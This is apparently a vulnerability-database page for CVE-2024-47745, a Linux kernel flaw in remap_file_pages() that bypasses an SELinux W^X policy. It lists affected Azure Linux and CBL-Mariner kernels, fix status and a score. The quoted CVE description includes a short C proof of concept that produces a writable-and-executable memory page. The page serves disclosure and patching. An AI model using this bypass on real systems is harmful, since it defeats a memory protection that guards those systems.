Microsoft security update for CVE-2024-47745
🔗 CVE IDs covered (1)
📋 Microsoft's advisory
EchelonGraph does not copy Microsoft's advisory page: its FAQ and remediation text are not shown here. Read the advisory on https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-47745. This page also shows what EchelonGraph holds for CVE-2024-47745, with the description from its CVE record, which the CVE Numbering Authority that assigned the CVE wrote: for a CVE Microsoft assigned, often in the words of Microsoft's own advisory.
🎯 Affected products7
- azl3 kernel 6.6.51.1-5 on Azure Linux 3.0
- azl3 kernel 6.6.56.1-5 on Azure Linux 3.0
- cbl2 kernel 5.15.186.1-1 on CBL Mariner 2.0
- cbl2 kernel 5.15.200.1-1 on CBL Mariner 2.0
- cbl2 kernel 5.15.202.1-1
- cbl2 kernel 5.15.202.1-1 on CBL Mariner 2.0
- cbl2 kernel 5.15.202.1-1 on CBL-Mariner 2.0
✅ Updates Microsoft lists: 2 updates
2 rows: one per KB article or update, update type and fixed build. Their details are on Microsoft's advisory.
| KB article | Update | Fixed build |
|---|---|---|
| — | Security Update | 6.6.56.1-5 |
| — | Security Update | — |
🧭 EchelonGraph on CVE-2024-47745
- EchelonGraph score
- 7.8 HIGH
- CISA KEV
- Not listed
- Fix status
- A fix is available — apply it.
Description from the CVE record (CVE.org), as published by its numbering authority
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
Published by kernel.org, the CVE Numbering Authority that assigned CVE-2024-47745, in its CVE record at CVE.org; reused under the CVE Program's Terms of Use (its licence and MITRE's copyright notice are in our Terms of Service).